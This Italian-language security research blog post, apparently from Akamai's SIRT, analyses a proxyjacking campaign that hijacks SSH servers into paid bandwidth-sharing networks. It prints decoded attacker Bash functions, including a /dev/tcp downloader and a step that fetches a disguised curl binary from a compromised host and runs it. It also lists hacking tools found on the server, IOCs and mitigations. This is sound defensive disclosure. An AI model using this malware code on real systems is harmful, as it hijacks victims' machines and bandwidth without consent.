Il proxyjacking: la nuova truffa dei criminali informatici
Editoriale e commenti aggiuntivi di Tricia Howard
Analisi riassuntiva
Il team SIRT (Security Intelligence Response Team) di Akamai ha scoperto una campagna di proxyjacking che prende di mira server SSH vulnerabili e lancia servizi Docker che condividono la larghezza di banda della vittima in cambio di denaro.
Questa campagna utilizza un server web violato per distribuire le dipendenze necessarie, ricerca e rimuove attivamente le istanze concorrenti e utilizza tecniche di offuscamento per eludere il rilevamento.
Il proxyjacking è il metodo più nuovo che hanno i criminali informatici per trarre profitto dai dispositivi violati, sia quelli delle aziende che dei consumatori. È un'alternativa più insidiosa rispetto al cryptojacking e ha conseguenze gravi, che possono comportare un maggior numero di problemi rispetto a quelli già creati dagli attacchi di livello 7 elaborati dai proxy.
Introduzione
Nel panorama delle minacce informatiche in continua evoluzione, i criminali cercano sempre più strategie innovative per massimizzare i loro guadagni con il minimo sforzo. L'esempio più recente è stato scoperto a inizio giugno all'interno di uno degli honeypot distribuiti a livello globale del SIRT di Akamai : il proxyjacking utilizzato a scopo di lucro.
Nonostante il concetto di proxyjacking non sia nuovo, la capacità di monetizzarlo facilmente come affiliato delle aziende dominanti, invece, lo è. La facilità di acquisire guadagni finanziari è ciò che rende questo vettore una minaccia sia per le aziende che per il consumatore medio, aumentando la consapevolezza e, possibilmente, la mitigazione. Il panorama delle minacce emergenti è segnato da criminali come Meris e Anonymous Sudan e, quando tale panorama fa coppia con la notevole ascesa di attacchi di livello 7 propagati tramite reti proxy, il valore monetario è sostanziale grazie all'accumulo di grandi quantità di proxy utilizzabili.
In questo post, approfondiremo una nuova campagna di proxyjacking scoperta dai ricercatori addetti alla sicurezza del nostro team SIRT. Si tratta di una campagna attiva, nell'ambito della quale un criminale sfrutta una connessione SSH per accedere da remoto, eseguendo script dannosi che includono in maniera furtiva i server di una vittima in una rete proxy peer-to-peer (P2P), come Peer2Proxy o Honeygain.
Ciò consente al criminale di monetizzare l'ulteriore larghezza di banda di vittime del tutto ignare, utilizzando soltanto una minima parte delle risorse richieste per il cryptomining e con meno probabilità di essere scoperto.
Descriveremo i dettagli tecnici della campagna e analizzeremo il profilo di minaccia del proxyjacking utilizzato a scopo di lucro. Inoltre, forniremo utili suggerimenti per la mitigazione di questa minaccia nella speranza di portare in primo piano questo nuovo caso di utilizzo di una una tecnica ormai datata.
Che cos'è il proxyjacking?
Il cryptojacking è diventato famoso nel mondo. Generalmente, le risorse delle vittime vengono rubate e cumulate in un pool di mining in cambio di un riscatto da versare al criminale. Una tecnica meno nota, più diffusa di recente, è il proxyjacking.
Con il proxyjacking, il criminale non ruba semplicemente le risorse delle vittime, ma sfrutta anche la larghezza di banda da loro inutilizzata. Il sistema della vittima viene utilizzato in maniera subdola per eseguire vari servizi come nodo del proxy P2P, di recente monetizzato dai criminali tramite organizzazioni come Peer2Profit o Honeygain. Queste organizzazioni offrono all'utente medio l'opportunità di ricevere denaro in cambio di un'ulteriore larghezza di banda: una proposta allettante e apparentemente lecita per singoli e aziende.
Tuttavia, questi siti spesso non chiedono da dove proviene il nuovo nodo del proxy ed è proprio da qui che inizia l'illegittimità. Nonostante il proxyjacking sia ormai diffuso da tempo, solo di recente lo si è visto utilizzato esclusivamente come metodo per generare profitti, come osservato in questa campagna.
Qual è il valore di un proxy per un criminale informatico?
Il valore dei proxy per i criminali informatici è insito nella loro capacità di coprire le proprie tracce, rendendo immensamente difficile risalire alle origini delle attività illecite. Questo occultamento è messo in atto instradando il traffico dannoso attraverso molteplici nodi peer prima di raggiungere la destinazione finale. Ciò è visibile nella figura 1, che mostra come gli individui scambino apertamente l'accesso ai proxy, permettendo un percorso diversificato per il proprio traffico.
Questo particolare elenco è stato scoperto in seguito a post online collegati all'IP principale, sul quale si è focalizzata questa indagine, e conteneva anche oltre 16.500 proxy aperti in aggiunta. Con l'aumento dei casi di proxyjacking, è chiaro come questi nodi stiano parte attiva e compagni consapevoli in questa rete. Questo elenco comunque non è, in nessun caso, esaustivo, in quanto sono stati trovati anche molti altri post.
Nella campagna trattata in questo post del blog, la nostra attenzione non ricade sui classici proxy "aperti", poiché organizzazioni come Peer2Profit e Honeygain affermano di condividere i propri proxy soltanto con partner teoricamente controllati. Gli incentivi offerti da queste organizzazioni per sostenere il contributo alle reti proxy, comunque, non solo attirano installazioni lecite per suscitare entrate passive, ma anche quelle che cercano di sfruttare il sistema a spese di altre persone.
Allo stesso modo, i servizi effettivamente offerti di certo attirano sia aziende legittime che criminali. Questo caso, pertanto, funge da forte richiamo rispetto alle potenziali conseguenze per la sicurezza che questi servizi apparentemente vantaggiosi comportano.
Sorridi: sei ripreso dalle telecamere di Cowrie!
Questa particolare campagna è nata per la prima volta l'8 giugno 2023. Il nostro team ha notato un criminale che ha stabilito più connessioni SSH con uno dei nostri honeypot Cowrie (figura 2), una risorsa gestita dal team SIRT. Grazie alle nostre capacità di controllo e monitoraggio complete su questo honeypot, abbiamo potuto seguire e documentare tutte le azioni intraprese dal criminale, principalmente tramite script Bash codificati.
La prima linea d'azione del criminale è stata l'utilizzo di uno script Bash con doppia codifica Base64 (figura 3), una tecnica comunemente utilizzata per celare la vera funzionalità dello script ed eludere i sistemi di sicurezza.
Una volta decodificato correttamente lo script Bash mascherato, abbiamo potuto vedere chiaramente il modus operandi dell'autore dell'attacco di proxyjacking. Registrando questo script decodificato, siamo riusciti ad analizzare con meticolosità la natura e la sequenza delle operazioni effettuate dal criminale.
Violazione, distribuzione e via
Questo script decodificato trasforma in maniera efficace il sistema violato in un nodo nella rete proxy Peer2Profit, utilizzando l'account specificato da $PACCT come affiliato che usufruisce della larghezza di banda condivisa. La stessa cosa è stata rilevata successivamente per un'installazione Honeygain. Lo script è stato progettato per essere discreto e robusto, in grado di operare a prescindere dal software installato sul sistema host.
Lo script ha iniziato definendo alcune funzioni da utilizzare successivamente. La prima di queste era una rudimentale implementazione di curl:
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
È stata poi utilizzata all'interno della seconda funzione per scaricare una versione aggiornata di curl (ospitata sul server di distribuzione come "csdark.css"). Sembra che curl sia tutto ciò che serve per attuare questa strategia, perciò se non è presente nell'host della vittima, il criminale lo scarica per conto suo.
c(){
if ! command -v curl &>/dev/null;then
__curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
echo "could not get curl"
exit
fi
chmod +x curl
export PATH=$PWD:$PATH
fi
}
Sulla base della nostra analisi, si tratta proprio di una normale distribuzione di curl che non richiede praticamente alcuna modifica. È possibile che al suo interno sia presente un'ulteriore funzionalità per potenziare le performance o creare danni, ma, al momento, non abbiamo ragione di credere che sia effettivamente così.
Ciò che è davvero interessante rispetto a questo file eseguibile è che, nonostante sia indicato come completamente legittimo da parte di tutti i fornitori di terze parti (figura 4), è stato comunque il primo elemento che ci ha spinti a indagare in maniera più approfondita. Questa buona reputazione supporta ulteriormente l'assunto che si tratti di una distribuzione standard dell'utilità curl. La capacità di risalire all'origine di quell'elemento, da pezzo di codice innocuo qual era, è stata ciò che ci ha portati ora a identificarlo come un tassello del mosaico della strategia di proxyjacking. Ciò evidenzia quanto sia importante riuscire a isolare tutti gli elementi inusuali, non soltanto quelli considerati dannosi.
Il criminale definisce anche un'altra funzione per spostarsi verso un percorso scrivibile ed eseguibile, come /dev/shm o /tmp. Se non vengono trovate directory appropriate, si esce dal file eseguibile.
d(){
cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
#mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
echo "no suitable dir"
exit
}
La funzione finale definita all'interno dello script svolge delle attività di configurazione del bot, ma la missione di questa funzione, in realtà, viene commentata nello script principale e sostituita da codice potenzialmente più funzionale. Il resto del codice corrisponde alle posizioni in cui si verifica la maggior parte delle azioni.
Non possiamo condividere tutto questo codice per ragioni di sicurezza, ma possiamo fare riferimento a parti di esso per dare un'idea di ciò di cui stiamo parlando. Alcune parti di codice vengono revisionate mediante l'uso di [...].
Gli script iniziano a controllare se il proprio container è già operativo:
if ps axjf|[...]|grep […] "$PACCT";then
echo "already running"
exit
Quindi, verificano l'eventuale esistenza di altri container che eseguono container di condivisione della larghezza di banda concorrenti e li annientano.
if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
for con in [...];do
if ! docker [...]|grep [...] "$PACCT";then
[...]
docker stop -t 10 $con
docker stop -s KILL $con
docker stop $con
echo "killed container: $con"
fi
done
fi
Gli script procedono creando una cartella di lavoro, poi scaricando un'immagine Docker dai repository Docker pubblici, contenenti i programmi di condivisione delle risorse, e le assegnano il nome di "postfixd". Da lì, semplicemente poi seguono le istruzioni, pubblicamente disponibili per scaricare ed estrarre i livelli Docker per l'immagine, eliminano alcuni elementi residui e poi scompaiono.
cd .. && rm -rf pfp
Il valore di una larghezza di banda Internet diversificata
Le peculiari strategie di monetizzazione proxy P2P emerse in questa campagna sono state Peer2Profit e Honeygain, che dispongono entrambe di immagini Docker pubbliche con oltre 1 milione di download (figura 5).
In questi casi di proxyjacking, il proxy viene utilizzato da aziende teoricamente legittime, ma potenzialmente senza scrupoli, per scopi come la raccolta dati e la pubblicità (figura 6). Alcune di queste organizzazioni rivelano anche esattamente in che modo viene utilizzato il vostro traffico.
Queste applicazioni non sono intrinsecamente dannose: vengono presentate come servizi, che offrono agli utenti l'opportunità di condividere la propria larghezza di banda Internet inutilizzata in cambio di compensi monetari (figura 7). La procedura è piuttosto semplice, ma alcune di queste organizzazioni non verificano accuratamente l'origine degli IP nella rete e, a volte, suggeriscono persino di installare il software sui propri computer di lavoro.
Quando un'attività lecita si trasforma in crimine informatico
Lo scenario cambia drasticamente quando un'applicazione viene utilizzata senza la consapevolezza o il consenso dell'utente, sfruttandone, di fatto, le risorse. È qui che un atto apparentemente innocuo, come l'utilizzo di questi servizi, entra nel regno del crimine informatico. Il criminale, controllando vari sistemi e le rispettive larghezze di banda, di fatto aumenta il suo potenziale profitto derivante dal servizio, il tutto a spese della vittima designata.
Questo scenario somiglia in modo impressionante alla differenza tra cryptomining e cryptojacking. Il cryptomining in sé e per sé è un'attività legittima, nella quale le persone utilizzano risorse computazionali per estrarre criptovalute. Tuttavia, quando la cosa evolve in cryptojacking, prevede l'utilizzo non autorizzato delle risorse di elaborazione di qualcun altro per il mining, trasformando, così, un'attività dapprima innocua in dannosa.
Un'occhiata al server di distribuzione
La nostra indagine ci ha portati ad analizzare il server utilizzato per interrompere il file binario curl utilizzato nello script Bash dannoso: un attacco, in genere, senza file, che ha continuato a sfruttare un server di distribuzione per un'adeguata esecuzione.
Guardando al sito, siamo arrivati subito alla conclusione che si trattava di un server web violato, utilizzato come mezzo per distribuire vari componenti per gli attacchi. Da questo sito web, siamo riusciti a risalire ad un'azienda libanese specializzata in materiali edili di alta qualità.
Il nostro primo passaggio per la valutazione è stato controllare gli altri componenti ospitati (figura 8) nello stesso percorso del file binario curl (csdark.css, se ricordate).
Analizzando un po' le tecnologie con le quali è stato costruito questo server web, abbiamo scoperto che aveva diversi componenti obsoleti e non gestiti. Questo percorso verso il sito web viene utilizzato nello specifico per sostenere una libreria, detta metro-bootstrap, non più gestita. Acquisendo familiarità con questa libreria, siamo riusciti a spiegare i tre file modificati per l'ultima volta nel 2014.
I file più nuovi, tuttavia, ci hanno dato ragione di credere che questo server sia stato violato sin da allora e che adesso venga utilizzato come punto di download per varie attività. Per analizzare questi file abbiamo utilizzato "wget -r" per scaricarli tutti.
Il file csdark.css è l'eseguibile curl di cui abbiamo parlato prima e, osservando i dati, possiamo dedurre che metro-bootstrap.min.xcss potrebbe essere stato una specie di caricamento di file di prova, con csdark.css aggiunto il giorno immediatamente successivo. Questo ha semplicemente fatto sì che vksp restasse inspiegato. Secondo la seguente voce VirusTotal (figura 9), vksp si tratta, in realtà, di un programma denominato perfcc, un cryptominer specifico per Linux.
Abbiamo analizzato anche questo file e abbiamo scoperto che conteneva, in realtà, un'utilità di cryptomining, nonché molte altri strumenti di sfruttamento e hacking tradizionali.
~/.local/bin$ ls
addcomputer.py exchanger.py getST.py ldd2pretty normalizer
raiseChild.py secretsdump.py split.py
atexec.py findDelegation.py getTGT.py lookupsid.py ntfs-read.py
rbcd.py services.py ticketConverter.py
crontab flask GetUserSPNs.py machine_role.py ntlmrelayx.py
rdp_check.py smbclient.py ticketer.py
cygdb futurize goldenPac.py mimikatz.py pasteurize
registry-read.py smbexec.py top
cython GetADUsers.py karmaSMB.py mqtt_check.py ping6.py
reg.py smbpasswd.py wmiexec.py
cythonize getArch.py keylistattack.py mssqlclient.py ping.py
rpcdump.py smbrelayx.py wmipersist.py
dcomexec.py Get-GPPPassword.py kintercept.py mssqlinstance.py
psexec.py rpcmap.py smbserver.py wmiquery.py
dpapi.py GetNPUsers.py ldapdomaindump netview.py ps.old
sambaPipe.py sniffer.py
esentutl.py getPac.py ldd2bloodhound nmapAnswerMachine.py
__pycache__ samrdump.py sniff.py
Questa scoperta si è rivelata per noi molto importante poiché è ragionevole pensare che i criminali, da sempre fedeli al cryptojacking come fonte di guadagno, adesso decidano di affidarsi al proxyjacking, o quantomeno di integrare tale attività con il proxyjacking. Vedere questi due file eseguibili ospitati sullo stesso sito web violato è stata solo una piccola prova di quali saranno i soggetti che comprenderanno subito il valore di questa nuova strategia di monetizzazione.
Impatto e rilevanza del panorama delle minacce
L'emergere del proxyjacking a scopo di lucro segue la stregua di molte altre forme di strategie di criminali che riescono a monetizzare le loro attività tramite la violazione di dispositivi. Il confronto più ovvio è quello con il cryptojacking, ma la strategia di prendere un servizio legittimo e abusare della sua redditività mediante mezzi criminali risale a tempi ancora più lontani.
Un altro ottimo esempio è il fatto che lo spam ha avuto origine in gran parte con il marketing di affiliazione, una prassi molto comune persino oggigiorno. Alcune aziende erano disposte a pagare subito un utente a patto che dirottasse clienti al proprio sito, mentre molti ignoravano il fatto che lo si facesse servendosi dello spam. Fin quando esisteranno questi incentivi e le aziende saranno disposte a ignorare l'etica delle fonti, le industrie criminali si baseranno sullo sfruttamento di queste pratiche.
C'è un altro aspetto relativo all'accumulo di proxy che lo rende particolarmente importante e preoccupante: Il proxyjacking, in sostanza, risolve l'unico importante svantaggio del cryptojacking: il rilevamento a causa dell'elevato utilizzo di CPU. Poiché necessita di una quantità minima di risorse CPU e si basa, invece, sulla larghezza di banda Internet inutilizzata, il proxyjacking è in grado di eludere alcuni dei mezzi di rilevamento precedentemente utilizzati per il cryptojacking.
Come difendersi dal proxyjacking
Da un punto di vista aziendale, un minore utilizzo di CPU comporta un'attenzione ancora maggiore verso le soluzioni IDS/IPS, come mezzi di mitigazione del proxyjacking. L'utente comune deve implementare delle solide basi di sicurezza essenziali, come l'uso di password complesse da conservare in un gestore delle password, l'applicazione di patch alle applicazioni e l'attivazione dell'autenticazione multifattore (MFA), se possibile. Gli utenti più esperti di sicurezza dei computer, inoltre, possono restare vigili prestando attenzione ai container attualmente in esecuzione, monitorando il traffico di rete in cerca di anomalie e persino effettuando regolari scansioni per controllare che non ci siano vulnerabilità.
In questa particolare campagna abbiamo assistito all'utilizzo del server SSH per ottenere accesso a un server e installare un container Docker, ma anche le campagne precedenti hanno sfruttato le vulnerabilità web. Se, controllando i vostri servizi Docker locali in esecuzione, scoprite che sul vostro sistema sono in condivisione risorse indesiderate, è bene che indaghiate su queste intrusioni, stabilendo il modo in cui è stato caricato lo script ed effettuando una pulizia approfondita.
Accertatevi di controllare eventuali altri segni di intrusione o violazione. Cambiate tutte le password, assicuratevi che tutti i software siano aggiornati e valutate se implementare o meno una policy di sicurezza più rigorosa. Inoltre, è bene pensare di rivolgersi ai servizi professionali di risposta agli incidenti qualora il sistema interessato sia sensibile o contenga dati preziosi.
Oltre alla natura subdola di questi attacchi, i proxy aperti rappresentano uno strumento cruciale nell'arsenale del crimine informatico, con organizzazioni criminali come Meris e Anonymous Sudan, che dimostrano quanto possano essere devastanti e dolorosi gli attacchi elaborati da proxy. Con un aumento continuo degli attacchi di livello 7, questo problema non farà che aumentare ancora e la possibilità di affidarsi a queste aziende di reti proxy per la gestione corretta dei partner è un meccanismo di difesa molto scarso, oltre che ad essere una debole garanzia.
Riepilogo
Le vecchie tecniche restano efficaci, specialmente se ad esse si legano dei nuovi risultati. Il proxyjacking a scopo di lucro ne è un grande esempio e siamo certi che vedremo nascere nuove tattiche, incentrate, nello specifico, su questa classe di attacchi. Questo vettore evidenzia, ancora una volta, la necessità di basi solide. Le prassi di sicurezza standard, quali le password complesse, la gestione delle patch e le registrazioni meticolose, restano un meccanismo di prevenzione efficace.
Sia che il proxyjacking stia minacciando la vostra azienda o le vostre risorse personali, è fondamentale tenere alta la guardia. Come sempre, il team SIRT di Akamai continuerà a monitorare queste minacce e molte altre e fornirà tutte le informazioni eventualmente necessarie. Per ulteriori ricerche sulla sicurezza, seguiteci su Twitter.
IOC
- Hash
- 6f1ac1e711e662edad32713c135ce29562d636794cf5a21a44bbb34955610f0a - vksp
72e7dd199bed6eefa0ae763c399e0d8a56e2b1dfacc089046706226a5f2a
- Verifica proxyjacking indesiderato
-
docker ps | grep -q peer2profit
docker ps | grep -q honeygain
-